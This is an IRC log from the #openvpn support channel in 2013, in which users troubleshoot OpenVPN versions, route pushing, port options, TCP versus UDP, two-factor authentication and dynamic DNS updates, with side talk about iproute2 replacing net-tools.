11:03 <+oc80z> i got OpenVPN GUI v2
11:04 <+oc80z> Hmmmph....
11:05 <+oc80z> I have ovpn 2.3.0 x86_64 (jan 8 2013 build)
11:06 <@ecrist> 2.3.1 is current
11:06 <+oc80z> so, i am guessing it is latest? Ahh..
11:06 <@ecrist> I know there was a fix either in the windows installer or the GUI itself
11:06 <+oc80z> aah, new topic too
11:07 <+oc80z> i updated the tap driver too, because i thought that was old...
11:08 <+oc80z> i seem to be getting 10mbit max throughput per stream,
11:08 <+oc80z> but generally, the tunnel can go beyond 50, i think..
11:09 <+oc80z> the flow issue ill figure out later..
11:09 < pekster> The "version" string (within the executable's properties) of the Windows GUI should be 3.0.0.0
11:09 < pekster> For the latest release
11:09 <+oc80z> i have file version 2.0.0.0
11:10 <+oc80z> perhaps this was not bundled with the openvpn bundle... may be it was over-installed.. and this is stale
11:11 < pekster> 2.3.0 might have had a 2.x release of the GUI app, I'm not sure offhand. Just get 2.3.1
11:11 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
11:12 <+oc80z> ok
11:12  * oc80z &
11:12 < pekster> That's effectively what I noted in my initial reply re: 2.3.0 vs 2.3.1
11:15 <+oc80z> 3.0.0.0
11:18 <+oc80z> i can test the gui later..
11:18 <+oc80z> thanks, eh
11:26 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:55 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
11:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
12:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
12:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:43 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
12:43 -!- brute11k [~brute@89.249.235.21] has joined #openvpn
12:44 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:54b0:32d2:e931:5761] has joined #openvpn
12:49 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
13:04 -!- Orbi [~opera@anon-35-198.vpn.ipredator.se] has joined #openvpn
13:17 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:20 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
13:20 -!- SpaceBass [~SP@173-167-53-210-cpennsylvania.hfc.comcastbusiness.net] has quit [Ping timeout: 268 seconds]
13:20 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has quit [Ping timeout: 268 seconds]
13:20 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
13:21 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
13:21 -!- SpaceBass [~SP@ec2-23-21-58-249.compute-1.amazonaws.com] has joined #openvpn
13:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
14:20 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
14:26 -!- JyZyXEL [~foo@a88-115-46-124.elisa-laajakaista.fi] has joined #openvpn
14:27 < JyZyXEL> is there a way of preventing the openvpn server from pushing routes to the client, like changing the default route?
14:28 < pekster> Preventing from which end? Do you want to prevent the client from accepting the route, or the server from pushing it to a specific client?
14:28 < JyZyXEL> (im assuming that is what commercial openvpn hosting companies do to steal all my connections upon connecting to them)
14:28 < JyZyXEL> pekster: in this case it would be preveting the client from accepting the routes
14:28 < JyZyXEL> spesifically, the default route
14:28 < pekster> See --route-nopull, and possibly --route-up combined with --route-noexec if you need to accept some, but not all routes
14:29 < pekster> It's also worth reading --redirect-gateway to understand how that works too, and check your logs for the PUSH_REPLY bit
14:29 < pekster> That should give you enough reading to figure out what's going on and how to adjust it
14:30 < JyZyXEL> when using a commercial ovpn server, one can only guess what they are doing :\
14:30 < pekster> Can't help you there. "If you want it done right" and all
14:31 < hjohnson> pekster: thanks again for your help the other day... things are working pretty good now.
14:32 < pekster> Get your shady QoS fixed?
14:32 < matsh> Anyone got experience running openvpn on a freebsd jail host?
14:33 < hjohnson> pekster: cleaned it up a bit, and things work better.  I sitll have some constraints that I need to deal with so I can't just go straight SFQ (I need to guarantee one class of users a minimum bitrate) but otherwise it works pretty good
14:36 < pekster> matsh: There are a handful of FreeBSD users around; you're better off asking a question instead of a pre-question like that
14:37 < matsh> Allright, I have a fully working setup between nodes in the VPN, however the jails inside a host connected to the vpn cannot reach vpn-ip's, but the other way around it works just fine. Anyone?
14:41 -!- awc737 is now known as awc737_away
14:41 < pekster> Issue with the jail's address and the firewall perhaps?
14:43 < [fred]> is there a clientside cfg option that the client does not set the default route which is pushed by the server ?
14:43 < pekster> [fred]: See my answer to that same question that was asked about 15 minutes ago
14:44  * [fred] scrolls
14:47 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
14:48 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:50 -!- Orbi [~opera@anon-35-198.vpn.ipredator.se] has quit [Ping timeout: 272 seconds]
14:54 < matsh> pekster: The jail has been assigned an ip alias on the tap interface, and all traffic on tap is allowed.
14:55 < matsh> The IP alias is of the same subnet as the vpn subnet
14:55 -!- JSharpe__ [~JSharpe@ns2306745.ovh.net] has joined #openvpn
14:55 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
14:56 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
14:56 -!- JSharpe_ [~JSharpe@ns2306745.ovh.net] has quit [Read error: Connection reset by peer]
14:56 -!- dazo is now known as dazo_afk
14:56 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
14:56 -!- hesperaux__ [~hesperaux@174.37.86.108] has joined #openvpn
14:57 -!- havoc___ [~havoc@neptune.chaillet.net] has joined #openvpn
14:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
14:57 -!- havoc [~havoc@neptune.chaillet.net] has quit [Disconnected by services]
14:57 -!- havoc___ is now known as havoc
14:58 -!- hesperaux_ [~hesperaux@174.37.86.108] has quit [Ping timeout: 256 seconds]
14:58 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
14:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
14:59 -!- mode/#openvpn [+o vpnHelper] by ChanServ
15:01 -!- brute11k1 [~brute@89.249.231.82] has joined #openvpn
15:02 -!- brute11k [~brute@89.249.235.21] has quit [Ping timeout: 252 seconds]
15:08 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
15:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
15:33 < Chaot_s> if i configure openvpn with --port 23001, as far as i can tel from the --port section in the man pages, it expects that port to be used on both endpoints. does --rport override the remote port in addition to the --port, or should i remove --port and replate it with lport and rport if i cant use the same port on the remote machine?
15:34 <@plaisthos> --port xy is the same as --lport xy and --port xy
15:34 <@plaisthos> .. and --rport xy
15:34 < Chaot_s> it got me confused a bit :)
15:35 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:35 <@plaisthos> unless you are doing p2p you have a client and server
15:35 < Chaot_s> p2p link indeed
15:36 <@plaisthos> udp?
15:36 <@plaisthos> with both having a remote?
15:37 <@plaisthos> you should either use lport and rport OR port
15:37 < Chaot_s> i wanted to make the ports the same as say 23+last part of the endpionts ip. so endpoint 10.8.0.123 uses port 23123
15:37 <@plaisthos> otherwise you confuse yourself :)
15:38 <@plaisthos> if you have a connection from lets say 1.2.3.4:1000 to 2.3.4.5:2000
15:38 <@plaisthos> then on 1.2.3.4 you have lport 1000 and rport 2000 and on 2.3.4.5 you have lport 2000 and rport 1000
15:39 < Chaot_s> okay :) thanx for clearing up that.
15:39 <@plaisthos> If you have a client server (not both with remote in the configuration or tcp-client/tcp-server) on the client only rport really matters and and the server only lport matters
15:40 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
15:46 < Chaot_s> funny i never decided if the tunnels should use udp or tcp, i just have remote 2.3.4.5 2000
15:47 < Chaot_s> no protocol set, so whatever the default is, is what i'm using, are there considerations i should take in to mind when making the choice between tcp/ip vs udp?
15:48 < pekster> !tcp
15:48 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
15:50 < pekster> FYI, the term "TCP/IP" usually refers to the entire network stack, or at least the first 3 OSI layers. Your choices are 'tcp' or 'udp', not tcp/ip (which you have to use, in effect)
15:50 < pekster> Another poorly named bit of history that'll be with us for decades to come
15:52 < Chaot_s> ah, the info in that message says enough already, tcp over tcp is prone to some wierd things. i'll view the page in a minute, and indeed, tcp/ip vs tcp is a poor choice of words.
15:52 -!- awc737_away is now known as awc737
15:52 < Chaot_s> some old habbit i got from windows...
15:52 < Chaot_s> think tcp say tcp/ip
15:53 < pekster> In this case the context was more clear, but it's often not
15:54 < pekster> f.eg, referring to UDP or 6in4 as 'tcp/ip' while technically correct, is just confusing
15:54 < pekster> Easier to just use the more modern 7-layer OSI model anyway
15:56 < Chaot_s> indeed, i understand the basic differences between the two protocol 's though it a nasty habbit to get rid of :)
15:57 <@plaisthos> Chaot_s: no protocol set means udp
15:57 < pekster> I'm beating netstat out of my head the same way since Linux upstream deprecated it. Old habits and all
15:57 <@plaisthos> pekster: wtf?
15:57 < pekster> plaisthos: net-tools has been dying for over a decade now ;)
15:57 <@plaisthos> in favour of?
15:57 < pekster> iproute2's package
15:58  * plaisthos is too old for this
15:58 <@plaisthos> I don't even know to do netstat -a with iproute
15:58 < pekster> ifconfig has been dead for ages, this is just part of the same old cruft that hasn't been updated since the GNU/Linux crew basically cloned the BSD ioctl's and left it an unmaintainedn pile of junk
15:58 < Chaot_s> you are never too old to learn :)
15:59 <@plaisthos> netstat -r works on every platform but linux soon ...
15:59 <@plaisthos> (it does even work on windows iirc)
15:59 < pekster> plaisthos: http://inai.de/2008/0219-ifconfig-sucks.php
15:59 <@vpnHelper> Title: j.eng's site: News, Notes, Quips, Tweets, Things to share. (at inai.de)
15:59 < pekster> Nah, it still works, but it's deprecated, at least in svn trunk (still "non-deprecated" on most distros, moreso since net-tools hasn't had an official release since 2001)
16:00 < pekster> Plus iproute2 does so much more; see many of the limitations of Linux ifconfig on that page. It's often wrong since it can't interact with any kernel junk introduced since 2.4 kernels (and we're on what, 3.9 now? ;)
16:00 < pekster> BSD just updated ifconfig and friends with the times. Linux had iproute2, so there was no motivation, just no one got the memo. *shrugs*
16:10 <@Eugene> 3.10 was tagged recently
16:11 <@Eugene> 3.0 is really just 2.8.... but Linus felt like bumping version numbers
16:11 <@Eugene> It used to be X.Y.Z, now it's just Y.Z
16:12 < Chaot_s> interesting discussion / information :)
16:12 < pekster> Well, since we're not using 2.2 kernels anymore (even CentOS is at 2.6 ;) everyone should really be using ip/ss/tc and friends. Most people have no clue ifconfig is full of possibly bad output
16:14 < pekster> Plenty of reasons to switch too, like CIDR input, IPv6, and tc is required anyway for QoS
16:14 -!- hesperaux__ is now known as hesperaux
16:15 < Chaot_s> i indeed tend to use ip more often, its more friendly when using vlan's
16:25 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has quit []
16:25 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has joined #openvpn
16:26 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has left #openvpn []
16:27 < hjohnson> but what about all my crufty old scripts that parse output from ifconfig? ;)
16:27 < hjohnson> (i'm kiddding)
16:29 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
16:30 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
16:35 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:45 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
16:46 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
16:48 -!- brute11k [~brute@89.249.231.82] has quit [Read error: Connection reset by peer]
16:49 -!- brute11k1 [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
16:51 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
16:51 <@plaisthos> pekster: I still don't like it. It is Linux centric again
16:52 <@plaisthos> commands are like ifconfig/route everywhere but linux
16:53 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
16:53 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:53 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
16:54 < pekster> ifconfing dun work on Windows ;)
16:54 < pekster> And it dpends on what you're doing. Policy routing requires iproute2 anyway
16:54 < jzaw> ip ss tc ...... ss ?   pekster ?
16:54 -!- Poster|x is now known as Poster
16:55 < rob0> It is indeed unfortunate that no one has seen fit to fix Linux net-tools and keep up Unix-compatible while still being able to use the features of iproute2.
16:55 < pekster> So basically, sure if you want to use the old-school BSD ioctl's unde Linux, ifconfig/route/netstat can still be used. If you intend to use the new ioctls from >=2.4 and up, you need iproute2
16:55 < rob0> I think there is some maintenance underway, but it has a long way to go. It should be a rewrite, or perhaps even a wrapper script for ip(8).
16:55 < pekster> rob0: Yea, but I think no one's motivated since iproute2 does it. net-tools gets current patches, but no official releases and no substantial changes
16:57 < rob0> To be truly useful, a wrapper script for ip would have to be done in POSIX sh only. You can't count on having perl/python/ruby when you're bringing up interfaces.
16:59 -!- brute11k1 [~brute@89.249.231.82] has joined #openvpn
17:00 -!- brute11k [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
17:03 < rob0> An interesting quasi-topical question came up today. Have you heard of any commercial VPN services being used by spammers?
17:06 < pekster> rob0: Well, I'd settle for 'usable' sh too; I learned when developing my 'next-gen' easy-rsa stuff that this syntax is technically invalid bourne: `export foo="thing"`
17:06 < pekster> BDS's sh eats it, so I can only break it on heirloom-sh, or 25 year old boxes
17:06 < pekster> BSD*
17:11 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
17:17 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
17:20 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
17:23 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 242 seconds]
17:23 -!- magoo [~mattw@209.114.46.149] has joined #openvpn
17:24 < magoo> i'm using the google authenticator plugin but it seems useless unless I can require that the user/password auth actually happens
17:24 < magoo> does anyone know if this is possible?
17:25 < magoo> right now, if I drop off the auth-user-pass from the client, the server is perfectly happy with just using the certificate
17:39 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
17:45 < pekster> magoo: You want to look up --auth-user-pass-verify
17:58 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
17:59 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 276 seconds]
17:59 -!- JSharpe__ [~JSharpe@ns2306745.ovh.net] has quit [Ping timeout: 245 seconds]
18:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:37 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Remote host closed the connection]
18:38 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
18:38 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
18:38 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
18:39 < Chaot_s> is it allowed to set "local" to a hostname that is resolved via a cname?
18:40 < Chaot_s> local location.domain.tld 1000 udp while location.domain.tld is a cname for a dyndns addres?
18:40 < pekster> Indeed. First sentence under the manpage description
18:41 < Chaot_s> i know a hostname is allowed, though i didn't know if openvpn resolves cnames too.
18:41 < pekster> It'll just do a gethostbyname() call
18:41 < Chaot_s> i remember reading something about it being bad practice :)
18:43 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 245 seconds]
18:44 < Chaot_s> i have set up this network of tunnels some 3 years ago, and i'm realy stunned on what stupid mistakes i made back then...
18:45 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
18:46 < rob0> It might even be bad practice to rely on DNS A records in openvpn configs. It's definitely one more thing which can go wrong.
18:47 < rob0> You'd probably be better off putting any names for --local in your hosts(5) file.
18:47 < Chaot_s> true, up until now i have changed the config files about once a month. my public ip changes about every 30 days
18:48 < rob0> Why do you need --local?
18:49 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
18:49 -!- raidz_away is now known as raidz
18:49 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
18:49 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
18:49 -!- mode/#openvpn [+o raidz] by ChanServ
18:50 < Chaot_s> to bind to a specific ip, i have 2 routes to internet, one via a hotspot the other via my own isp.i don't want the vpn links to run over the hotspot links,
18:50 < Chaot_s> and i dont like the idea of openvpn binding to all interfaces
18:50 -!- brute11k1 [~brute@89.249.231.82] has quit [Read error: Connection reset by peer]
18:51 < rob0> I'd make a script (dhcpcd hooks?) which updates /etc/hosts if/when the IP address changes.
18:53 < Chaot_s> eth0 = isp, eth1 = link to dd-wrt in client bridge to the hotspot, eth2.102 eth.103 link to private lan and eth3 links to the students lan that share a piece of my network. (keeps costs down for both of us :)
18:53 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Remote host closed the connection]
18:54  * Chaot_s mental notes dhcpd hooks, need to look in to that
18:55 < Chaot_s> sounds like a good and thrustworthy option.
18:55 < Chaot_s> because the dns cache expiry is not as fast as i would like...
18:58 -!- Sickness\ is now known as sickness\
19:00 < Chaot_s> would be nice to have my own server updating my own nameservers too if my public ip changes. then i could get rid of dyndns too
19:00 < pekster> A good dynamic DNS solution can do that anyway (I thought I mentioned this to you earlier, but maybe it was someone else)
19:01 < rob0> yes, I do that. I have a TSIG key and use nsupdate(8)
19:01 < Chaot_s> i have that for the local dhcp server too, it updates the local lan hostnames in a domain called location.local.lan
19:02 -!- sickness\ is now known as Sickness\
19:02 < pekster> If it's using dnsmasq, it's not really the same thing
19:02 < Chaot_s> local.lan deligates controll to the 5 locations all act as slaves.
19:03 < Chaot_s> though eth0 is dhcp-client, and turns out that has hooks too :)
19:03 < Chaot_s> for real.. why didn't i see this stuff back then XD
19:05 < Chaot_s> the only thing i cant find anything on yet is how dhcp-client could update my nameserver.
19:06 -!- julianoliver [~julian@cpe-69-204-123-246.buffalo.res.rr.com] has joined #openvpn
19:06 < Chaot_s> the dhcp server should do that, though i have no controll over my isp's dhcp server.
19:06 < rob0> I have a TSIG key and use nsupdate(8) to update my own zone.
19:06 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
19:07 < Chaot_s> in other words, use dhcp-client hooks to trigger a script that fetches my eth0 ip, and triggers nsupdate to update my public dns servers..
19:07 < julianoliver> hi. i'm having odd problems whereby i can tunnel/route through my OpenVPN server but can't ssh into the client from the server or vice versa. I can't even ping the server from a client, albeit I see the "RWRWRWRW" output on both sides indicated packets going out and received serverside.
19:07 < julianoliver> any ideas as to this oddness?
19:08 < julianoliver> i've set the protocol to TCP in my server.conf, but no joy..
19:08 < Chaot_s> sounds like a firewall isseu
19:08 < Chaot_s> or missing route's
19:09 < pekster> julianoliver: If you have no 'rw' packets (lower-case) the tun device isn't getting anything. If you don't get this when pinging the endpoint, no tunneled traffic is being sent/received
19:09 < julianoliver> my route appears fine. traceroute shows i'm routing through the server, as does a GeoIP lookup on a remote site.
19:10 < julianoliver> pekster: i see rW on the client and Rw on the server, when i ping.
19:10 < pekster> 'going through' ? You won't see anything on a traceroute if it's not responding
19:11 < pekster> Sounds like your firewall is at fault
19:11 < julianoliver> pekster: as i say, i'm tunnelled through the server. i'm routed through it (surfing just fine, and random remote "What's My IP?" websites says my IP is that of my server, but can't ping it. it's odd.
19:11 -!- Sickness\ is now known as sickness\
19:12 < julianoliver> however when i ping, in console of both server and client i see Rw and rW, respectively (even though switched from UDP to TCP)
19:12 < Chaot_s> sounds like icmp packets are not allowed
19:12 < julianoliver> then why not ssh?
19:12 < julianoliver> was working just fine a few hours ago.
19:13 < julianoliver> i see several ppl with similar woes: http://ubuntuforums.org/showthread.php?t=1071672
19:13 <@vpnHelper> Title: [ubuntu] weird s (at ubuntuforums.org)
19:14 < rob0> Chaot_s, with dhcpcd, the new IP address is in the script's environment. Probably similar with dhcpclient
19:17 -!- sickness\ is now known as Sickness\
19:22 -!- awc737 is now known as awc737_away
19:23 < Chaot_s> julianoliver: you get ping's awnserd when you ping both endpoints from both sides?
19:24 < Chaot_s> aka ping from server to local and remote endpoint and from client to local and remote endpoint?
19:30 -!- julianoliver [~julian@cpe-69-204-123-246.buffalo.res.rr.com] has quit [Ping timeout: 240 seconds]
19:38 < Chaot_s> i guess his pings timed out XD
20:17 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
20:56 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
21:02 -!- master_o1_master [~master_of@p4FF241B8.dip0.t-ipconnect.de] has joined #openvpn
21:02 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:54b0:32d2:e931:5761] has quit [Quit: emmanuelux]
21:05 -!- master_of_master [~master_of@p4FF24F99.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
21:17 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
21:20 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
21:29 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
21:31 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 248 seconds]
21:35 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
21:38 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 245 seconds]
21:45 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
22:03 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has quit [Remote host closed the connection]
22:07 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
22:09 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 245 seconds]
22:36 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
22:39 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 268 seconds]
22:41 -!- brute11k1 [~brute@89.249.231.82] has joined #openvpn
22:41 -!- brute11k [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
22:48 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
22:51 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
22:53 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has quit [Ping timeout: 264 seconds]
23:02 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
23:04 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
23:23 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
23:24 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
23:32 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 258 seconds]
23:34 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
23:46 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has joined #openvpn
23:48 < Chaot_s> i could not get my vpn's to work been checkin iptables, routes, config files for some 4 hours... turns out the rpm for 2.2.1 i got was the issue...
23:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
--- Day changed Wed May 01 2013
00:07 < pekster> 2.2.1?
00:07 < pekster> 2.3.1 is current
00:15 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 240 seconds]
00:15 < Chaot_s> repoforge and epel only have rpm's for 2.2.2 or 2.2.1
00:16 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
00:16 < Chaot_s> and i'm not so keen on just grabbing a package somewhere and using it.
00:16 < pppingme> Chaot_s epel only lists "stable" packages, not cutting edge
00:17 < pekster> openvpn is pretty darn easy to build from source on Unixes
00:18 < Chaot_s> i know i can build it, though i can't make rpm's from it.
00:18 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
00:19 < Chaot_s> and when i want centos support, i'm better of sticking with rpm's
00:19 < pekster> rpmbuild does wonders. Otherwise you can just install to /usr/local if you don't mind taring it up yourself if you're uninterested in creating an actual RPM
00:19 < Chaot_s> its something on the list to learn.
00:21 < pekster> Dunno about your version, but see:
00:21 < pekster> !download
00:21 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
00:21 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
00:22 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 268 seconds]
00:22 < pekster> Not knowing how to deal with sources will limit what you can do with any Unix-like OS. Sometimes you need a newer version, or even just a patched version to fix a fatal problem before an "official" release is out
00:24 < Chaot_s> i can install stuff from sources, though i'm not educated enough yet on how to package that up to a rpm
00:24 < Chaot_s> currently the only thing i install fromsources is an ircd and irc services.
00:25 < Chaot_s> there are no rpm's for that and i needed some custom modules
00:25 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
00:28 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
00:49 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
00:49 -!- xtz is now known as Guest36831
00:53 -!- liriel- [~liriel@cinnabar.feralhosting.com] has quit [Ping timeout: 245 seconds]
00:55 -!- lirime [~liriel@cinnabar.feralhosting.com] has joined #openvpn
00:56 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
00:56 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
01:09 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
01:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:23 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
02:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:14 -!- ServerTech|ALT [~ServerTec@server2.hosthighway.co] has joined #openvpn
02:19 -!- ServerTech|ALT is now known as ServerTechLaptop
02:23 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
02:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 268 seconds]
02:38 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:40 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
02:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
02:52 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has quit [Ping timeout: 245 seconds]
03:06 -!- xlinkz0 [~xlinkz0@5-13-216-152.residential.rdsnet.ro] has joined #openvpn
03:09 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:14 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:14 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:14 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:17 -!- takamich_ [~takamichi@217.23.15.212] has quit [Ping timeout: 258 seconds]
03:37 -!- mitz__ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
03:39 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 258 seconds]
03:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:59 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
04:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:08 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
04:10 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
